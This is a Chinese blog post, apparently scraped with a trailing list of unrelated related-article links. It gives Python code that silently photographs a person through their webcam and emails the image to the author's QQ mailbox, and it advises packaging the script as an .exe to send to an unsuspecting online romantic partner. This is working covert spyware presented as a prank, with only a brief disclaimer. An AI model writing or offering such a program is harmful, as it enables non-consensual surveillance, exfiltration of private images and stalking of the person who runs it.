小伙伴们日常生活中,应该时有看到网恋奔现翻车的热搜。那么如何自己写个简单的程序查看网友的长相呢。其实思路很简单打开摄像头——发送照片——打包发送好友。下面是我们用到的引用:

import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.image import MIMEImage
import cv2 as cv

首先我要能打开对方的摄像头在python中有很多这样的方法,本次小编用的是python中第三方库opencv中的函数,具体实现如下:

cap = cv.VideoCapture(0)
while (cap.isOpened()):ret_flag, Vshow = cap.read()cv.imshow("Capture_test", Vshow)cv.imwrite("post"  + ".jpg", Vshow)#保存拍摄的图片这里命名为post.jpgcap.release()cv.destroyAllWindows()break

现在图片有了那么我们如何获取到拍摄的图片呢,我们可以通过python的发送邮箱方式来将图片自动发送到我们的手机上。我们要到邮箱的 设置——帐户中开启pop3服务协议并获取授权码

# 配置邮箱信息
sender = 'xxxxxxx@qq.com'  # 发件人的地址
password = 'xxxxxxxxx'  # 此处是我们刚刚在邮箱中获取的授权码
receivers = 'xxxxxxxxxxx@qq.com'  # 邮件接受方邮箱地址,可以配置多个,实现群发,注意这里要是字符串# 邮件内容设置
content = MIMEText("<html><h2>这是你的网恋对象.......</h2>", _subtype="html", _charset="utf-8")
msg = MIMEMultipart('related')
msg.attach(content)# 添加图片附件
imageFile = r"post.jpg" #发送的图片路径,上面拍摄的图片会自动保存到根目录
imageApart = MIMEImage(open(imageFile, 'rb').read(), imageFile.split('.')[-1])
imageApart.add_header('Content-Disposition', 'attachment', filename=imageFile)
msg.attach(imageApart)# 发件人信息
msg['From'] = sender# 收件人信息
msg['To'] = receivers# 通过授权码,登录邮箱,并发送邮件
try:server = smtplib.SMTP('smtp.qq.com')  # 配置QQ邮箱的smtp服务器地址server.login(sender, password)server.sendmail(msg['From'], msg['To'].split(','), msg.as_string())print('发送成功')server.quit()except smtplib.SMTPException as e:print('error', e)

最后的问题就是如何将写好的程序发送给对方了,我们可以利用pyinstaller可以将我们的程序打包成.exe可执行文件,发送给好友,在你的baby还在疑问的时候毫无防备的素养照片就发送到你的邮箱了。

这次的小程序纯属小编一时脑洞大开的想法,仅供大家娱乐,请勿非法使用,如有雷同联系删除。同时也提醒小伙伴们要对网上的未知链接要谨慎下载,避免隐私泄露。

如何几行代码看到网恋对象的原型相关推荐

  1. argis怎么关掉对象捕捉_你和你的网恋对象,都怎么样了?

     刺猬君: 人是群居动物,陪伴似乎是精神的寄托,我们常常迷失在网络的虚幻暧昧中,听说高频率的聊天会产生自己都辨析不出的真假情感,最近好朋友兴致勃勃地告诉我Ta要去见网恋对象了,突然就想知道,你和你的网 ...

  2. 几行代码构建全功能对象检测模型,这位杜克大学学生做到了!

    作者 | Alan Bi 译者 | 武明利 责编 | Carol 出品 | AI科技大本营(ID:rgznai100) 如今,机器学习和计算机视觉已成为一种热潮.我们都看过关于自动驾驶汽车和面部识别的 ...

  3. 几行代码,网盘链接提头来见!

    文 | 闲欢 来源:Python 技术「ID: pythonall」 背景 晚上,女朋友下班回来,我邀请她下楼去散步,她一副愁眉苦脸的样子,说今晚要加班. 仔细询问之下得知:女朋友今天接到上司一个任务 ...

  4. Python AI 换脸,宋小宝都能换脸刘亦菲,你的网恋对象不知道有多可怕!

    其实早在之前,基于AI换脸的技术就得到了应用,比方说<速度与激情7>里面的演员保罗.沃克,由于发生意外,后期将其换脸,就达成我们在影院看到的效果 当然,也有人把这项技术应用在其他的领域,例 ...

  5. 几行代码,网盘链接提头来见

    背景 晚上,女朋友下班回来,我邀请她下楼去散步,她一副愁眉苦脸的样子,说今晚要加班. 仔细询问之下得知:女朋友今天接到上司一个任务,领导丢给她一个文件,里面密密麻麻满是百度网盘链接和提取码,需要她今天 ...

  6. 图像分割技术语义分割代码_用5行代码对150类对象进行语义分割

    图像分割技术语义分割代码 It is now possible to perform segmentation on 150 classes of objects using ade20k model ...

  7. 第一行代码android网课,linux内核分析(网课期末地面课期中)

    堆栈变化过程:html 计算机是如何工做的?(总结)--三个法宝git 存储程序计算机工做模型,计算机系统最最基础性的逻辑结构:程序员 函数调用堆栈,高级语言得以运行的基础,只有机器语言和汇编语言的时 ...

  8. asp服务器_200行代码,7个对象——让你了解ASP.NET Core框架的本质「3.x版」

    2019年1月19日,微软技术(苏州)俱乐部成立,我受邀在成立大会上作了一个名为<ASP.NET Core框架揭秘>的分享.在此次分享中,我按照ASP.NET Core自身的运行原理和设计 ...

  9. 200行代码,7个对象——让你了解ASP.NET Core框架的本质[3.x版]

    2019年1月19日,微软技术(苏州)俱乐部成立,我受邀在成立大会上作了一个名为<ASP.NET Core框架揭秘>的分享.在此次分享中,我按照ASP.NET Core自身的运行原理和设计 ...

最新文章

  1. bash命令行常用快捷键
  2. 我反对|李彦宏当选院士不合适:“名”不要再掺水了
  3. 你眼泪的味道,我知道!
  4. 今日头条的,顶部导航,实现分析
  5. php读取ds18b20,DS18B20_单总线协议
  6. 计算机设计大赛国奖作品_2. 报名材料
  7. 准确率(Accuracy), 精确率(Precision), 召回率(Recall)和F1-Measure(对于二分类问题)
  8. ORM框架之Mybatis(三)延迟加载、开启一二级缓存及使用注解增删改查
  9. 获得select下拉框的值
  10. 欢迎进入测试day01作业
  11. 基于MATLAB的任意多边形最小外接圆计算
  12. Centos 远程桌面管理工具
  13. vue 关于飞行地图展示的功能
  14. 内网渗透系列:内网隧道之Venom
  15. 软件测试专业术语对照表
  16. 台式计算机如何上无线网络,台式机怎么无线上网
  17. Pointer Networks简介及其应用
  18. windows启用Guest用户
  19. jQuery 三种点击事件写法
  20. lte tm模式_LTE 的传输模式及各自的区别和作用

热门文章

  1. 实验1matlab运算基础,实验1MATLAB运算基础实验报告模板.doc
  2. sequoiadb学习笔记
  3. [cookies]pc多开独立的chrome[谷歌浏览器]
  4. cpu性能指标(二)
  5. odoo权限管理详解
  6. messenger android apk,Download messenger
  7. Promise的理解与使用(收藏版)
  8. oracle 外键约束 权限,ORACLE外键约束(FORIGEN KEY)
  9. 函数名前加static与不加static的区别
  10. 二叉排序树(java)